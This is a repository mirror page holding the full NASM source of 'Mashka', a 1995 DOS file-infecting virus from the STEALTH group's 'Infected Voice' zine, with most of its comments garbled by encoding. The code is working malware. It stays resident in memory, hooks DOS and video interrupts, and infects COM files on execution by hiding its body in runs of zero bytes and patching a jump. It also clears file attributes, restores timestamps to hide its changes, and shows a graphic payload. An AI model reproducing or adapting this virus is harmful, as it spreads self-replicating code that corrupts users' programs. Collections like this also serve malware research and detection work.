mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
452 lines
13 KiB
NASM
452 lines
13 KiB
NASM
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;<3B> STEALTH group ۰ <20> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20> <20> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20><> <20><> <20><>
|
|||
|
;<3B> presents ۰ <20> <20> <20> <20><> <20><> <20> <20> <20><> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><>
|
|||
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>۰ <20> <20> <20> <20> <20><><EFBFBD> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20><> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> JAN 1995
|
|||
|
;
|
|||
|
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
|
|||
|
; ===========================================================================
|
|||
|
|
|||
|
|
|||
|
TITLE Virus Mashka ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>饥 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> !
|
|||
|
seg_a segment para 'code'
|
|||
|
assume cs:seg_a,ds:seg_a
|
|||
|
|
|||
|
org 100h
|
|||
|
|
|||
|
start:
|
|||
|
call $+3 ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> call
|
|||
|
pop bx
|
|||
|
push es
|
|||
|
sub bx,3 ;<3B><>砫<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
push bx
|
|||
|
mov ax,0e200h ;<3B>ࠤ<EFBFBD>樮<EFBFBD><E6A8AE><EFBFBD><EFBFBD> <20><EFBFBD>ઠ <20><> <20><><EFBFBD><EFBFBD>稥 <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
int 21h
|
|||
|
cmp al,22h
|
|||
|
jnz res ;<3B> <20><><EFBFBD> <20><><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>㤥<EFBFBD>
|
|||
|
jmp short nores ;<3B><> 㦥 <20><><EFBFBD><EFBFBD>
|
|||
|
res:
|
|||
|
mov ax,ds
|
|||
|
dec ax
|
|||
|
mov ds,ax ;ᥣ<><E1A5A3><EFBFBD><EFBFBD> MSB
|
|||
|
mov ax,word ptr ds:[3]
|
|||
|
sub ax,(offset virend - offset start)/10h+1+20h ;㬥<><E3ACA5>蠥<EFBFBD> ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov word ptr ds:[3],ax
|
|||
|
mov ax,ds
|
|||
|
inc ax
|
|||
|
mov ds,ax
|
|||
|
mov ax,word ptr ds:[2] ;<3B><><EFBFBD><EFBFBD><EFBFBD> <><E1A2AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
sub ax,(offset virend - offset start)/10h+1+20h ;<3B>⭨<EFBFBD><E2ADA8><EFBFBD><EFBFBD> ࠧ<><E0A0A7><EFBFBD> vir'<27>
|
|||
|
mov es,ax
|
|||
|
mov word ptr ds:[2],ax
|
|||
|
mov cx,offset virend - offset start
|
|||
|
mov si,bx
|
|||
|
xor di,di
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
rep movsb ; <20><>४<EFBFBD>稢<EFBFBD><E7A8A2><EFBFBD> ⥫<> <20> <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> es:di
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
mov ax,3521h ; <20><> <20><><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20><><EFBFBD> <20>ந<EFBFBD>室<EFBFBD><E5AEA4>
|
|||
|
int 21h
|
|||
|
mov word ptr ds:[offset int21e - offset start],bx
|
|||
|
mov word ptr ds:[offset int21e+2 - offset start],es
|
|||
|
mov ax,2521h
|
|||
|
mov dx,offset int21entry - offset start
|
|||
|
int 21h ; <20><><EFBFBD><EFBFBD>墠<EFBFBD>뢠<EFBFBD><EBA2A0> int 21h
|
|||
|
mov ax,3510h
|
|||
|
int 21h
|
|||
|
mov word ptr ds:[offset int10e - offset start],bx
|
|||
|
mov word ptr ds:[offset int10e+2 - offset start],es
|
|||
|
mov ax,2510h
|
|||
|
mov dx,offset int10entry - offset start
|
|||
|
int 21h ; <20><><EFBFBD><EFBFBD>墠<EFBFBD>뢠<EFBFBD><EBA2A0> int 10h
|
|||
|
; <20><><EFBFBD> <20><><EFBFBD>⮫<EFBFBD><E2AEAB><EFBFBD>
|
|||
|
nores:
|
|||
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD> 㦥 <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20><> <20><>⠥<EFBFBD><E2A0A5><EFBFBD> ⮫쪮 ࠤ<><E0A0A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
pop bx
|
|||
|
|
|||
|
; ᥩ<><E1A5A9><EFBFBD> <20>㤥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC> ,
|
|||
|
; <20><>१<EFBFBD><E0A5A7><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>砫<EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
|
|||
|
mov ax,word ptr cs:[bx + offset real - offset start]
|
|||
|
mov bx,word ptr cs:[bx + offset real - offset start + 2]
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov word ptr cs:[100h],ax ;ᮮ⢥<E1AEAE><E2A2A5>⢥<EFBFBD><E2A2A5><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>頥<EFBFBD> <20><> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov word ptr cs:[102h],bx
|
|||
|
mov ax,100h ;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>砫<EFBFBD> <20>ணࠬ<E0AEA3><E0A0AC>
|
|||
|
pop es
|
|||
|
push ax
|
|||
|
ret
|
|||
|
|
|||
|
real dw 4cb4h ; <20><><EFBFBD> <20><><EFBFBD> த<><E0AEA4><EFBFBD><EFBFBD> , <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> !
|
|||
|
dw 21cdh
|
|||
|
|
|||
|
INT21entry:
|
|||
|
cmp ax,0e200h ; <20><EFBFBD><E0AEA2>塞 ᮡ<>⢥<EFBFBD><E2A2A5><EFBFBD><EFBFBD> <20>㭪<EFBFBD><E3ADAA><EFBFBD>,
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20>믮<EFBFBD><EBAFAE><EFBFBD><EFBFBD><EFBFBD> <20>⮡<EFBFBD> <20><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <> <20><><EFBFBD><EFBFBD>稥 <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
jnz d01
|
|||
|
mov al,22h
|
|||
|
iret
|
|||
|
d01:
|
|||
|
cmp ax,0e233h ; ᥪ<><E1A5AA>⭠<EFBFBD> <20>㭪<EFBFBD><E3ADAA><EFBFBD> , <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ਣ<EFBFBD><E0A8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0><EFBFBD> <20> ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD> <20><EFBFBD> <20><><EFBFBD>ᨨ
|
|||
|
jnz d1
|
|||
|
mov al,22h
|
|||
|
mov bx,cs
|
|||
|
; <20><><EFBFBD> <20><><EFBFBD> , <20><><EFBFBD> offset'<27>
|
|||
|
mov cx,offset real - offset start
|
|||
|
mov dx,offset int21e - offset start
|
|||
|
mov si,offset int10e - offset start
|
|||
|
iret
|
|||
|
d1:
|
|||
|
cmp ah,4bh ; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20>㭪<EFBFBD><E3ADAA><EFBFBD> 4b - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>稭<EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD>
|
|||
|
jz in4b
|
|||
|
jmp exitint21 ; <20> <20><> 4b , <20><> <20><> <20><><EFBFBD> ࠢ<><E0A0A2> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
; <20><><EFBFBD> <20> <20><><EFBFBD>筮 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> , <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> INT 21h
|
|||
|
|
|||
|
in4b:
|
|||
|
push ax ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> ! <20><><EFBFBD><EFBFBD>⮢<EFBFBD><E2AEA2> <20><>ப<EFBFBD> 'PSQR'
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
|
|||
|
push es
|
|||
|
push ds
|
|||
|
push si
|
|||
|
push di
|
|||
|
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,2524h
|
|||
|
mov dx,offset int24entry - offset start
|
|||
|
int 21h ;<3B><><EFBFBD><EFBFBD>墠<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>訡<EFBFBD><E8A8A1>
|
|||
|
;<3B>ந<EFBFBD>室<EFBFBD><E5AEA4> ⮫쪮 <20><><EFBFBD> <20><><EFBFBD><EFBFBD>᪥,
|
|||
|
;<3B><><EFBFBD><EFBFBD> 䠩<><E4A0A9> <20><> <20><><EFBFBD><EFBFBD>⠫<EFBFBD><E2A0AB><EFBFBD> <20><>
|
|||
|
;<3B>ਭ<EFBFBD><E0A8AD><EFBFBD> , <20><><EFBFBD><EFBFBD>ண<EFBFBD> <20><><EFBFBD><EFBFBD> !
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
|
|||
|
call cmpnol ;<3B>饬 <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
call cmpcom ;<3B> <20><> COM <20><> <20><><EFBFBD> <20><><EFBFBD>砩<EFBFBD><E7A0A9> ?
|
|||
|
jnc pr1 ; <20><><EFBFBD> ! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>-⠪<> COM !
|
|||
|
jmp exit ; <20><> <20><> <20>㤥<EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD>, <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ...
|
|||
|
pr1:
|
|||
|
;<3B><><EFBFBD>࠭塞 <20> <20><>६<EFBFBD><E0A5AC><EFBFBD><EFBFBD><EFBFBD> ᥣ<><E1A5A3><EFBFBD><EFBFBD> <20> ᬥ饭<E1ACA5><E9A5AD> <20><><EFBFBD><EFBFBD>᪠<EFBFBD><E1AAA0><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9>
|
|||
|
|
|||
|
mov word ptr cs:[offset adname - offset start],dx
|
|||
|
mov word ptr cs:[offset adname - offset start+2],ds
|
|||
|
call catt ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><>ਡ<EFBFBD><E0A8A1><EFBFBD>
|
|||
|
mov ax,3d02h ;<3B><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> 䠩<>
|
|||
|
int 21h
|
|||
|
mov bx,ax
|
|||
|
call gettime ;<3B><><EFBFBD><EFBFBD>砥<EFBFBD> <20> <20><><EFBFBD>࠭塞 <20>६<EFBFBD>
|
|||
|
|
|||
|
; <20> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>祪 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>筮 <20><><EFBFBD>,
|
|||
|
; <20><> <20><><EFBFBD> <20>뫮 <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD>ࠢ<EFBFBD><E0A0A2>
|
|||
|
mov ax,4202h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds ; ᥣ<><E1A5A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
mov ax,4200h ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>筮 <20>뫮 <20><><EFBFBD> <20><><EFBFBD><EFBFBD>⠭<EFBFBD> ,<2C><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,
|
|||
|
; CX:DX <20><><EFBFBD> ࠢ<><E0A0A2> <20>㫨
|
|||
|
int 21h
|
|||
|
|
|||
|
mov ah,3fh
|
|||
|
mov dx,offset virend - offset start
|
|||
|
mov cx,4h
|
|||
|
int 21h ; <20><>⠥<EFBFBD> <20><>砫<EFBFBD> 䠩<><E4A0A9> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>ᮬ
|
|||
|
|
|||
|
; <20> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD> , <20><> <20><>⢥<EFBFBD><E2A2A5><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> 'Q'
|
|||
|
cmp byte ptr ds:[offset virend - offset start + 3],'Q'
|
|||
|
jnz ok2
|
|||
|
pop ds
|
|||
|
jmp closeexit ; <20><>室 <20> <20><><EFBFBD><EFBFBD><EFBFBD>⨥<EFBFBD> 䠩<><E4A0A9> <20> <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD> <20><>⠫쭮<E2A0AB><ECADAE>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
ok2:
|
|||
|
xor si,si
|
|||
|
mov dx,0 - 200h
|
|||
|
p2:
|
|||
|
;<><E1ABA5><EFBFBD>騩 <20>ࠣ<EFBFBD><E0A0A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E1ABA5><EFBFBD><EFBFBD>⥫쭮 <20><><EFBFBD><EFBFBD> 䠩<>
|
|||
|
;<3B><> 200h <20> ᪠<><E1AAA0><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><> <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <20>㫥<EFBFBD> (<28> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 777),
|
|||
|
|
|||
|
mov ax,4200h
|
|||
|
add dx,200h
|
|||
|
xor cx,cx
|
|||
|
int 21h
|
|||
|
push ax
|
|||
|
mov ah,3fh
|
|||
|
mov dx,offset virend - offset start
|
|||
|
mov cx,200h
|
|||
|
int 21h
|
|||
|
cmp ax,0
|
|||
|
jnz d3
|
|||
|
pop dx ; 䠩<> <20><><EFBFBD><EFBFBD><EFBFBD>稫<EFBFBD><E7A8AB>
|
|||
|
jmp d2
|
|||
|
d3:
|
|||
|
cmp ax,200h
|
|||
|
jz ok4
|
|||
|
add ax,offset virend - offset start
|
|||
|
mov di,ax
|
|||
|
mov word ptr ds:[di],0ffh ; <20> <20><><EFBFBD> <20><><EFBFBD>-<2D><> <20>த<EFBFBD> <20><><EFBFBD>殢<EFBFBD>窨
|
|||
|
ok4:
|
|||
|
call scanspace ; ᪠<><E1AAA0><EFBFBD>㥬 <20><><EFBFBD><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD> 200h
|
|||
|
pop dx
|
|||
|
cmp si,offset virend - offset start
|
|||
|
jc p2 ; <20> <20><><EFBFBD>-<2D><> <20>㫥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 祬 ࠧ<><E0A0A7><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><> <20>த<EFBFBD><E0AEA4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ᪠<><E1AAA0><EFBFBD><E0AEA2><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
sub di,(offset virend - offset start)
|
|||
|
add dx,di
|
|||
|
sub dx,si
|
|||
|
push dx ; <20> DX ᬥ饭<E1ACA5><E9A5AD> <20> 䠩<><E4A0A9> ,<2C><><EFBFBD><EFBFBD> 㪠<>뢠<EFBFBD><EBA2A0> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD>ﬨ
|
|||
|
mov ax,4200h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
mov ah,3fh
|
|||
|
mov cx,4h
|
|||
|
mov dx,offset real - offset start
|
|||
|
int 21h ; <20><>⠥<EFBFBD> ॠ<><E0A5A0><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⨪<EFBFBD> <20>ண<EFBFBD>.
|
|||
|
mov ax,4200h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
int 21h
|
|||
|
mov si,offset virend - offset start
|
|||
|
mov byte ptr ds:[si],0e9h
|
|||
|
pop dx
|
|||
|
push dx
|
|||
|
sub dx,3
|
|||
|
mov word ptr ds:[si+1],dx ; <20><><EFBFBD><EFBFBD><EFBFBD>⠢<EFBFBD><E2A0A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>砫<EFBFBD><E7A0AB><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov byte ptr ds:[si+3],'Q' ; <20> <20><><EFBFBD> <20><>⪠ <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
mov ah,40h
|
|||
|
mov cx,4h
|
|||
|
mov dx,offset virend - offset start
|
|||
|
int 21h ; <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20><>
|
|||
|
pop dx ; <20> DX <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD>ﬨ
|
|||
|
xor cx,cx
|
|||
|
mov ax,4200h
|
|||
|
int 21h
|
|||
|
mov ah,40h
|
|||
|
mov cx,offset virend - offset start
|
|||
|
xor dx,dx
|
|||
|
int 21h ; <20><><EFBFBD><EFBFBD><EFBFBD>뢠<EFBFBD><EBA2A0> <20>㤠 ⥫<> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
d2:
|
|||
|
pop ds
|
|||
|
closeexit:
|
|||
|
call puttime ; <20><><EFBFBD><EFBFBD>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>६<EFBFBD>
|
|||
|
mov ah,3eh
|
|||
|
int 21h ; <20><><EFBFBD> ! ࠡ<>稩 <20><><EFBFBD><EFBFBD> <20><><EFBFBD>稫<EFBFBD><E7A8AB> !
|
|||
|
exit:
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
exitint21:
|
|||
|
db 0eah
|
|||
|
int21e dw ?
|
|||
|
dw ?
|
|||
|
adname dw ?
|
|||
|
dw ?
|
|||
|
int24entry:
|
|||
|
mov ax,0h ; <20> <20><><EFBFBD> ABORT ! <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD> <20><> <20><> <20> <20>⠫<EFBFBD><E2A0AB> !
|
|||
|
iret
|
|||
|
time dw ?
|
|||
|
dw ?
|
|||
|
;------------------------------------- <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
cmpnol:
|
|||
|
mov bx,dx
|
|||
|
nol:
|
|||
|
inc bx
|
|||
|
cmp byte ptr ds:[bx],0h
|
|||
|
jnz nol
|
|||
|
ret
|
|||
|
;------------------------------------- <20><EFBFBD>ઠ <20><> COM
|
|||
|
cmpcom:
|
|||
|
cmp word ptr ds:[bx-2],'MO'
|
|||
|
clc
|
|||
|
jz exitcmpexe
|
|||
|
stc
|
|||
|
exitcmpexe:
|
|||
|
ret
|
|||
|
;--------------------------------------- <20><><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD> <20> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD> <20><>ଠ<EFBFBD><E0ACA0><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><>ਡ<EFBFBD>⮢
|
|||
|
catt:
|
|||
|
push ds
|
|||
|
push dx
|
|||
|
mov ax,4300h
|
|||
|
LDS dx,dword ptr cs:[offset adname - offset start]
|
|||
|
int 21h
|
|||
|
and cl,11111110b
|
|||
|
mov ax,4301h
|
|||
|
int 21h
|
|||
|
pop dx
|
|||
|
pop ds
|
|||
|
ret
|
|||
|
;--------------------------------------- <20><><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD> <20> <20><><EFBFBD>࠭<EFBFBD><E0A0AD><EFBFBD><EFBFBD> <20>६<EFBFBD><E0A5AC><EFBFBD>
|
|||
|
gettime:
|
|||
|
mov ax,5700h
|
|||
|
int 21h
|
|||
|
and cl,11100000b
|
|||
|
mov word ptr cs:[offset time - offset start],cx
|
|||
|
mov word ptr cs:[offset time - offset start+2],dx
|
|||
|
ret
|
|||
|
;----------------------------------------- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>饭<EFBFBD><E9A5AD> <20><><EFBFBD>ண<EFBFBD> <20>६<EFBFBD><E0A5AC><EFBFBD> ;)
|
|||
|
puttime:
|
|||
|
mov ax,5701h
|
|||
|
mov cx,word ptr cs:[offset time - offset start]
|
|||
|
mov dx,word ptr cs:[offset time - offset start+2]
|
|||
|
int 21h
|
|||
|
ret
|
|||
|
;------------------------------------------ ᪠<><E1AAA0><EFBFBD><E0AEA2><EFBFBD><EFBFBD> <20><> <20>㫨
|
|||
|
scanspace:
|
|||
|
mov di,offset virend - offset start - 1
|
|||
|
opsc:
|
|||
|
inc di
|
|||
|
cmp di,(offset virend - offset start) + 200h
|
|||
|
jnc exsc
|
|||
|
mov al,ds:[di]
|
|||
|
cmp al,0
|
|||
|
jnz clscan
|
|||
|
inc si
|
|||
|
jmp opsc
|
|||
|
exsc:
|
|||
|
ret
|
|||
|
clscan:
|
|||
|
cmp si,offset virend - offset start
|
|||
|
jc ok3
|
|||
|
ret
|
|||
|
ok3:
|
|||
|
xor si,si
|
|||
|
jmp opsc
|
|||
|
|
|||
|
int10entry:
|
|||
|
cmp ax,0005h ; <20><EFBFBD>ઠ <20><> <20><>⠭<EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CGA 320x200
|
|||
|
jz svert ; <20> ⠪<><E2A0AA><EFBFBD><EFBFBD>, <20><> <20><><EFBFBD>㥬 <20><EFBFBD><E0AEAB><EFBFBD><EFBFBD>騩 <20><><EFBFBD>⮫<EFBFBD><E2AEAB>
|
|||
|
exitint10:
|
|||
|
db 0eah
|
|||
|
int10e dw ?
|
|||
|
dw ?
|
|||
|
svert:
|
|||
|
cmp si,22h
|
|||
|
jz exitint10 ; <20><>室<EFBFBD><E5AEA4> ᮡ<>⢥<EFBFBD><E2A2A5><EFBFBD><EFBFBD> <20>맮<EFBFBD><EBA7AE>
|
|||
|
|
|||
|
; <20><> <20> <20><><EFBFBD> - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> !
|
|||
|
|
|||
|
vert:
|
|||
|
push ds
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
push es
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,0b800h
|
|||
|
mov es,ax
|
|||
|
mov si,22h
|
|||
|
mov ax,5
|
|||
|
int 10h
|
|||
|
mov cx,70
|
|||
|
mov dx,30
|
|||
|
bb:
|
|||
|
push cx
|
|||
|
mov cx,6000h
|
|||
|
zlp:
|
|||
|
loop zlp
|
|||
|
pop cx
|
|||
|
|
|||
|
call bert
|
|||
|
loop bb
|
|||
|
pop es
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop ds
|
|||
|
jmp exitint10
|
|||
|
;------------------------
|
|||
|
bert:
|
|||
|
push dx
|
|||
|
push cx
|
|||
|
push ax
|
|||
|
push si
|
|||
|
push di
|
|||
|
|
|||
|
mov ax,dx
|
|||
|
mov bx,80
|
|||
|
mul bx
|
|||
|
add ax,cx
|
|||
|
mov di,ax
|
|||
|
mov bp,0
|
|||
|
mov si,offset berts - offset start
|
|||
|
opbert:
|
|||
|
mov cx,6
|
|||
|
push di
|
|||
|
rep movsb
|
|||
|
pop di
|
|||
|
add di,2000h
|
|||
|
inc bp
|
|||
|
cmp bp,12
|
|||
|
je exbert
|
|||
|
mov cx,6
|
|||
|
push di
|
|||
|
rep movsb
|
|||
|
pop di
|
|||
|
sub di,2000h-80
|
|||
|
inc bp
|
|||
|
cmp bp,12
|
|||
|
je exbert
|
|||
|
jmp opbert
|
|||
|
exbert:
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop ax
|
|||
|
pop cx
|
|||
|
pop dx
|
|||
|
ret
|
|||
|
;================================
|
|||
|
